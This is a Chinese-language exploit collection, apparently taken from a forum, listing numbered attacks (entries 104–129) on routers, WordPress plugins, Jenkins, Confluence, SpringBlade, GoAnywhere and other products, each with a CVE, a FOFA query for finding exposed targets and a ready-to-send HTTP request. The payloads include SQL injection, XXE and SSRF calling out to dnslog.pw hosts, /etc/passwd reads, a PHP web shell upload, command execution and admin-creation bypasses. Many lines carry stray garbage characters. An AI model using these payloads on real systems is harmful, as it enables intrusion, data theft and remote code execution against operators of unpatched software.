% ?+ v# m1 M4 e" n* r- oContent-Type: application/x-www-form-urlencoded
9 G5 K& j3 O! D( J# r5 O4 ?Accept-Encoding: gzip
' e% @- l/ \  z; f# {, C  a
SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

. a2 Y8 u& B3 {+ c' A
' h0 ]& v6 M7 L' d- j' S2 Q. h* j其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

: k  }, _! y; g, j
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
0 C0 T2 ~/ g1 A0 y6 b0 fCVE-2024-0569
6 H" l, M& E' k9 N3 J2 y2 y) N& [: aFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
/ _4 i( S5 t+ y! xContent-Length:41
5 A- S: k% L. t/ J( F* I  KAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
1 R$ k. V  P# k! LContent-Type: application/x-www-form-urlencoded:charset=UTF-8
2 J  l. |! A' i2 qOrigin: http://192.168.0.1
  G) L- k2 U6 E! yReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
3 Z; C, k( q7 J" [2 p6 yAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
4 G1 Z  U7 H9 sConnection:close
: |& m" |8 A6 O+ F
: \% ]) q& \" l5 I2 d6 y5 u{
"topicurl":"getSysStatusCfg",
"token":""
}

( G) f) ^& P/ e7 f) V- k1 M1 _105. SpringBlade v3.2.0 export-user SQL 注入
" [. O5 m2 m* fFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
" ]6 C' ~4 [1 K, h6 bGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 o$ A2 g! ?0 [% nHost: your-ip
9 X; u$ h+ V4 D1 b- H4 X6 m' P2 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
* r  N7 S( @  G, }# E1 Y. X7 U7 IAccept-Encoding: gzip, deflate
9 M  T, S1 N7 a  w% D& H1 F  dAccept-Language: zh-CN,zh;q=0.9
Connection: close

' i8 I& I. D7 y! c- U( C; T5 p
0 U1 m& Q7 }% H. o  u1 d8 U107. SpringBlade tenant/list SQL 注入
# C0 {: Z+ u0 c; ~3 }# d- ?6 J5 kFOFA：body="https://bladex.vip"
9 G) q! |5 l3 V+ Z! xGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
1 o6 ?" w- H3 @+ K+ WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Q, B: H" w+ a( W8 X6 TBlade-Auth:替换为自己的
8 s) P# U0 m( `  E# ?Connection: close
0 g2 I6 [, P4 i- D
4 @' E4 n4 Q6 s8 K8 ]! w
: C! \2 g3 O2 p9 a108. D-Tale 3.9.0 SSRF
! m4 q$ G, K) K4 }CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
( s5 \. z+ J9 R0 E% Q$ \3 I3 _GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
; U% C# S/ i7 m' _2 j$ g$ VHost: your-ip
! k6 e- {. x7 G$ e8 _7 o9 y0 DAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- V$ B; \7 o" k% ]  f" U6 T7 M1 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
& q# N7 _+ }& @" dConnection: close

( [8 ~- h  A2 I! \3 I* g3 V/ a
7 [+ w4 \) ], q* ^109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
( c9 g* p+ w  D  u+ oHost:
$ d! }) F8 E/ C' U' o3 ~; pContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
& m/ b. J; _$ A8 d2 G* X. g) ~Content-Length: 163

! u' _5 w; i  ?! x: X) @b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
; Q5 ~8 D& W- ~$ R7 P4 ^7 j
7 j5 m6 D; s& J5 ?
& L7 y9 c( _6 V) O: {3 yERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
; i: N7 M. [0 ?2 w1 Y! p1 Hjava -jar jenkins-cli.jar help
3 }% f% e4 \( c3 W% |' m4 O6 p$ b0 o. W6 b[COMMAND]
% t; g3 x1 [, c& q% T8 GLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

- X5 g/ N+ ?, Z4 S+ i) r
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
' `# S- l: `+ f1 [9 v  RFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
- C& k* x/ S2 l- HGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
, X5 i) |! q) ]; W% Q3 C0 W6 vHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
$ J# j8 \) ?2 w5 _, p2 u! LConnection: close
- K) M( ~2 x6 l/ ~" aAccept: */*
# B5 G$ `  [$ qAccept-Language: en
Accept-Encoding: gzip


$ J: U- O. Q9 c/ @2 f+ N% `111. WordPress Plugin HTML5 Video Player SQL注入
( Z4 p" T+ L0 X1 T# }5 @  \CVE-2024-1061
: T8 R8 p) t3 Y0 Y' t- f6 [( OFOFA："wordpress" && body="html5-video-player"
  s& L: l% I6 T5 D& K' VGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
* X( N5 g  q9 {" yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
/ M: H  S0 j% k1 n* N! b. iConnection: close
Accept: */*
Accept-Language: en
% A: e& M3 t7 TAccept-Encoding: gzip
* E* [8 E2 L1 E& N
' R( r( W( U( [& o* u
112. WordPress Plugin NotificationX SQL 注入
2 E/ [; f# c- PCVE-2024-1698
. C/ P; _- t* V% F0 E0 Y9 _! c* EFOFA：body="/wp-content/plugins/notificationx"
" K" }+ A9 A' S: \' wPOST /wp-json/notificationx/v1/analytics HTTP/1.1
! \) ]7 U+ v3 v6 \2 ~8 w2 AHost: {{Hostname}}
Content-Type: application/json
, _% Q5 P" J# J) Z1 u
+ j  @9 S9 ^! W+ y. v4 B: c5 n{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
; V0 |, s& S7 _5 A, o

0 ^7 C) E; r3 V3 ^" G113. WordPress Automatic 插件任意文件下载和SSRF
, a% x! E0 F4 q# B/ A  P# ]/ BCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
8 W  h% M/ p2 c( B! N0 ?8 OGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
- c3 P+ X' x* _& AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
7 V; s1 H* b: x" BConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

9 t+ y. t8 U2 N# r0 [
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
1 I6 x* J3 i. u/ M- U4 B* D9 tUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
  R( D0 K% ?( P- y7 M) ~# zAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 }0 R) E  c" V  s' m$ ]% d" XConnection: close

2 k& x1 }* b/ W& {3 R( @/ r: V
, f  `3 J9 X0 j- q4 O0 R115. WordPress Bricks Builder <= 1.9.6 RCE
9 B: T- F+ r) J4 ^% |; @1 `) E; VCVE-2024-25600
" ]7 x+ Z1 U, Z8 PFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
/ L$ B  `) y; T7 }GET / HTTP/1.1
Host: x.x.x.x
" M- u' {$ b- T" `+ VUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
# B# l2 p- b6 ^# P7 PAccept-Encoding: gzip

% X" m$ f4 s. c! A; l, q- b+ A
5 O! g) M, V5 C7 f" y% r; K5 J# N' N5 h第二步替换nonce值，执行命令
; t7 W8 v* d; gPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
! M% I9 S& Z8 F7 h1 r* r* V, s; FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
2 [( s0 {0 n8 JContent-Length: 356
" E8 d# I- x* N$ SContent-Type: application/json
" h$ }+ i- k- p: ZAccept-Encoding: gzip

{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
) k9 W1 b+ o: X) J' ^/ u    "settings": {
) j& l3 ]1 w+ i( H) l9 N      "hasLoop": "true",
; i$ O, l% ~# F0 N      "query": {
* e$ `, Z0 R2 ^  t0 ?        "useQueryEditor": true,
/ O+ w, o, ?8 c9 y, e        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
$ x8 [8 h( N7 o. O( G: C/ [% `) Z      }
+ `0 P1 z$ i9 |& h# S) O! x8 r9 C    }
  }
0 X  V. J" v8 C5 h8 K2 n" M, N! v}

& ~- y) |$ k6 p3 }, N# n
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
5 ]3 i2 h8 s4 f! F* b! d# G1 x( qPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
9 Y% n) z9 U3 v4 SUser-Agent: Mozilla/5.0

2 T- `; p: T. [% R' [----------767099171
1 B. V: k0 W* |# _: D; ?Content-Disposition: form-data; name="action"
, y+ f! f) G* e' K& W: Qconfiguration_saveconfiguration
----------767099171
1 o4 j4 I3 S5 x" qContent-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
" T" p2 x, K4 ~' ^, r  y% ^% E# p+ cContent-Type: image/png
----------767099171--

- h2 A0 ]9 M8 H: M6 Y1 `" E9 z
" \0 Y% l3 x6 _: p/ q* q  l2 `0 D& Z117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
3 q) a& ?; |) {8 e) S1 C% kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
5 S4 V, ?# E3 D7 e9 e! T1 Q. QConnection: close
' M) x' }7 b+ C- W5 d% iUpgrade-Insecure-Requests: 1
5 h5 x6 i" i4 [, P0 h& ?; Q4 A

. E7 r( y. q( r# x4 a118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
2 S9 V: N, r# n5 |6 {( ?! }5 @POST /Tool/uploadfile.php? HTTP/1.1
! ^3 C: h& Z2 |Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
9 E' \4 w/ i  aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 g* P6 Z2 C! n4 ~- |Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
$ S# V+ V) ?2 {! K5 L1 }) l, kOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
: v/ ]+ C4 v5 A  R5 Z5 K: [Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

& B7 S0 z& ^' r0 o-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
+ E9 L" w, ?" P& c5 M, d: FContent-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
) E4 U9 ?5 I/ o- {6 KContent-Disposition: form-data; name="txt_path"

: g/ G3 s$ H, f, c1 B/ U$ Y/home/src.php
-----------------------------13979701222747646634037182887--

: m# z1 [5 C+ G9 m1 ]0 Z
* n  m/ ~7 U3 d访问/home/src.php
6 b9 v) j1 K) g( k& @
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
  n# i, i3 w: i. x& ?+ c# sFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
& u" g0 k' o" C' `. kPOST /sysmanage/sysmanageajax.php HTTP/1.11
  u7 q/ W* a' {9 `8 J' v6 M8 ZHost: x.x.x.x
2 c! c+ t  {& [% eCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
! u, Y* P  w4 u0 y. YAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) q/ w) {2 s* u- N" J- hContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
7 C, E7 v# ?; n% B) IOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
5 }, i8 m3 V- w* |! ?2 p) R& e. F. {" @& oSec-Fetch-Dest: empty
" z$ X. E) L/ T+ o2 b" fSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
: E' L  j+ r9 U2 XX-Originating-Ip: 1.1.1.1
: M! m% V% _! t9 r6 z+ hX-Remote-Ip: 1.1.1.1
4 N* M; e) Z, P+ o8 b; m$ E) `" A2 `! sX-Remote-Addr: 1.1.1.1
+ M8 [# X  W; C0 L8 a4 vTe: trailers
Connection: close

: y* n' ?: C+ L* M- s, X7 N( ~src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
5 j! z. q! u+ p0 g
. d# I# X9 w) L1 ^
120. 北京百绰智能S40管理平台导入web.php任意文件上传
9 h9 W3 Y5 [( N1 T' j! h6 y* u( U) ZCVE-2024-1253
FOFA：title="Smart管理平台"
4 Z2 N% @- z: E0 N& \6 u1 M( YPOST /useratte/web.php? HTTP/1.1
Host: ip:port
( B8 G$ {) q" {% k4 A, @1 qCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
% X# @7 `8 A6 M$ G% ]User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 @, Z# n! l" h8 w. b! l/ CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
0 u0 {* p" t  K: vOrigin: https://ip:port
& Q+ `" L1 }. _: Y" \Referer: https://ip:port/sysmanage/licence.php
' B. X* L4 `. E1 ZUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
9 w+ i. V# D4 h. o, X% nSec-Fetch-Mode: navigate
( m6 `- Q& C! A* QSec-Fetch-Site: same-origin
% H# Y. R- Q- C* r/ {! XSec-Fetch-User: ?1
Te: trailers
8 d0 P8 v% D- t. tConnection: close
! a# Y* S' B$ }$ f9 p0 w$ ?+ p& l
-----------------------------42328904123665875270630079328
5 t" J2 W9 C4 qContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

3 [6 |% q2 Z( c( j* y# Y<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
+ b* ^4 F. C6 ?1 E( A5 zContent-Disposition: form-data; name="1_ck"

9 Q, c% N( L5 h" G1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
! c( W; _  o, Y; Y
import
# {# @% _  I& t# P-----------------------------42328904123665875270630079328

) E& m* X* h3 \) B7 {- P
文件路径/upload/2.php
! H8 s- G/ q4 Q: ~$ q
# H! s3 H; h, Z121. 北京百绰智能S42管理平台userattestation.php任意文件上传
7 ]9 Q: v7 `/ x1 DCVE-2024-1918
' V5 l4 c5 Z4 ~. `- f% g- hFOFA：title="Smart管理平台"
7 a1 R6 n0 N. B, H) XPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
) P* M* c8 @- v; bContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
8 `5 i9 T$ V, K& a8 C' K1 {; QSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
9 {! I" z4 {1 a, k3 r% ]* Y2 dTe: trailers
Connection: close

6 o5 B! l) M" v-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
$ J( P" \( q8 q( b1 s( H6 }1 i
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
7 H% v+ I8 P7 s& A5 ]. \9 Z. KContent-Disposition: form-data; name="id_type"

1
7 W  v. a+ e' ?- Q- R: x+ r4 p-----------------------------42328904123665875270630079328
$ y7 Y" j0 _# @1 }Content-Disposition: form-data; name="1_ck"
" A* t# L1 T% t# W
1_radhttp
/ V+ ]: p' a* i4 }-----------------------------42328904123665875270630079328
# J+ c! ]6 \$ b) T& _# {1 C6 XContent-Disposition: form-data; name="hidwel"
! i4 O: w! x: B
6 ]; ~) K. k' Z  Y3 ]$ \set
/ y1 y/ p. z( _6 V4 J7 X& m$ q7 O-----------------------------42328904123665875270630079328


) `. u5 K. K. h# Aboot/web/upload/weblogo/1.php
$ H* ~9 M; R8 h! I6 _' V& @
0 `$ J, b- m# O5 ~  s% p6 l( ^: g122. 北京百绰智能s200管理平台/importexport.php sql注入
; N7 t0 k6 b- {: u: d# P* k! n/ MCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
. U1 t  L* Z( z& \. X6 C7 c) eHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
4 E: y) s+ y- ~9 N3 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
, I, u  S% u, ]$ ~, G, mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ]) e) x# ?9 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 I* U" |: A/ x8 K2 FAccept-Encoding: gzip, deflate, br
" m& V9 Q& v5 H+ J( R9 |Upgrade-Insecure-Requests: 1
1 u3 H% ?! ^5 s, B+ q- F0 n* FSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
4 ^  |% e2 U5 ISec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
) x: F. _5 |4 F) t; d$ q6 m* yConnection: close


123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
1 V; r4 c  ^# l& ?# L6 X; F) uContent-Type: application/x-www-form-urlencoded
) ~  X, @# f) V# w. \6 \4 ~2 D4 b3 o
0 ^6 S( r- S- I7 ]) W. rlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


8 H' f7 s; P2 Y+ w, {; m124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
. l% s/ Q  f* u# ?& X% \6 _POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
0 s9 l# N7 t& K: V7 B$ K- d3 {Content-Length: 72
; D5 v& q/ |3 A) _/ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
3 V6 L5 ~" w3 z! A8 s4 _Accept-Encoding: gzip, deflate, br
) ?: g8 w+ R* p3 X+ `, SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! h6 f- I, L. j9 O/ iConnection: close
Content-Type: application/x-www-form-urlencoded

+ k$ g  Q0 A# w4 p: Y; ofilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
7 O% Q1 [6 I2 ]- e6 k, Y+ I& t8 h

http://192.168.40.130:8282/Scripts/abcgcg.aspx

4 O7 F; n, T/ P$ h- s125. ConnectWise ScreenConnect身份验证绕过
7 C3 m) m$ p& x1 l) nCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

! {' ~8 J/ l. y+ q
$ p, C/ A( v! v( M使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

( R/ V& ~% \, `( y, C
" @2 @8 P) N' u; p- E* g) h创建好用户后直接登录后台，可以执行系统命令。
4 {1 H, ]9 k1 o9 F$ f
126. Aiohttp 路径遍历
- s  a' ^& j4 QFOFA：title=="ComfyUI"
5 A: M. q8 B& k% y$ \" ~GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; W: {" b8 E0 `; _Connection: close
) X3 j/ _& t& o+ U( B2 E3 i" H3 k& CAccept: */*
3 `/ d5 p0 X2 AAccept-Language: en
Accept-Encoding: gzip
4 @$ e) E- C0 o* H0 e( Y' q0 V3 g7 h
4 S# K8 M0 q7 m1 o
4 f/ a! a9 k: q' |6 I( R+ p127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
% b. s" u6 w; GPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
3 ^( K4 t5 k, a- ~) SHost: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
$ l6 }$ f* \" E: ?; d+ p9 V- ~Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
1 U  p6 Y0 x. H" `: Q; S! c# p( cPurpose: prefetch
9 P/ o- `" V! |" O' TSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
% v/ g1 `! J- y+ M: V1 ]------WebKitFormBoundaryJGgV5l5ta05yAIe0
# R" B: ?7 M. }! X$ w* F% PContent-Disposition: form-data;name="Params"
Content-Type: text/plain

0 y+ a7 {- V0 e1 j5 l<?xml version="1.0" encoding="UTF-8"?>
- D  W3 A- k6 B, U<!DOCTYPE test [
& _; o' G! R0 d" C6 J; T<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
) N" ^+ z% V8 K. ]3 y0 J<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
& M) T5 y( |* ?
* k$ n; k* W7 ~% m129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
' p( r9 g5 ^/ \  _0 L& ~3 s: MFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
$ W3 d. K1 Z- _+ H( s% A% E第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
